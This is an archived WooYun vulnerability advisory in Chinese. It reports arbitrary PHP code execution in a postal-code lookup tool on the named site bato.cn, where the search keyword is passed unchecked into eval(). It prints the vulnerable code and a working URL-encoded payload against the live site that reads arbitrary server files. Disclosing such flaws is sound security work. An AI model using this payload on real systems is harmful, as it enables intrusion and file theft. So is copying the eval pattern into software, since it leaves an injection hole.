当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-049056

漏洞标题:八通网便民百宝箱任意代码执行

相关厂商:八通网

漏洞作者: yibozheng

提交时间:2014-01-16 14:32

修复时间:2014-03-02 14:33

公开时间:2014-03-02 14:33

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-01-16: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-03-02: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

详细说明:

pic1.png


switch ($_GET['w']){
case "sheng":
@eval("\$found = eregi(\"$keyword[$ai]\",\"$detail[0]\");");
break;
case "diqu":
@eval("\$found = eregi(\"$keyword[$ai]\",\"$detail[1]\");");
break;
case "shi":
@eval("\$found = eregi(\"$keyword[$ai]\",\"$detail[2]\");");
break;
case "cun":
@eval("\$found = eregi(\"$keyword[$ai]\",\"$detail[3]\");");
break;
case "youbian":
@eval("\$found = eregi(\"$keyword[$ai]\",\"$detail[4]\");");
break;
case "quhao":
@eval("\$found = eregi(\"$keyword[$ai]\",\"$detail[5]\");");
break;
default:
@eval("\$found = eregi(\"$keyword[$ai]\",\"$dreamdb[$i]\");");
break;
}

漏洞证明:

http://www.bato.cn/tool/youbian?q=%24%7B%40exit%28print_r%28file%28%24_GET%5Bd%5D%29%29%29%7D
原来代码中,$keyword是输入的搜索内容,可以直接拼入php代码

for ($ai=0; $ai<$dreamcount; $ai++){
switch ($_GET['w']){
case "sheng":
@eval("\$found = eregi(\"$keyword[$ai]\",\"$detail[0]\");");
break;
case "diqu":
@eval("\$found = eregi(\"$keyword[$ai]\",\"$detail[1]\");");
break;
case "shi":
@eval("\$found = eregi(\"$keyword[$ai]\",\"$detail[2]\");");
break;
case "cun":
@eval("\$found = eregi(\"$keyword[$ai]\",\"$detail[3]\");");
break;
case "youbian":
@eval("\$found = eregi(\"$keyword[$ai]\",\"$detail[4]\");");
break;
case "quhao":
@eval("\$found = eregi(\"$keyword[$ai]\",\"$detail[5]\");");
break;
default:
@eval("\$found = eregi(\"$keyword[$ai]\",\"$dreamdb[$i]\");");
break;
}


修复方案:

禁止使用eval函数,去除敏感代码。

版权声明:转载请注明来源 yibozheng@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝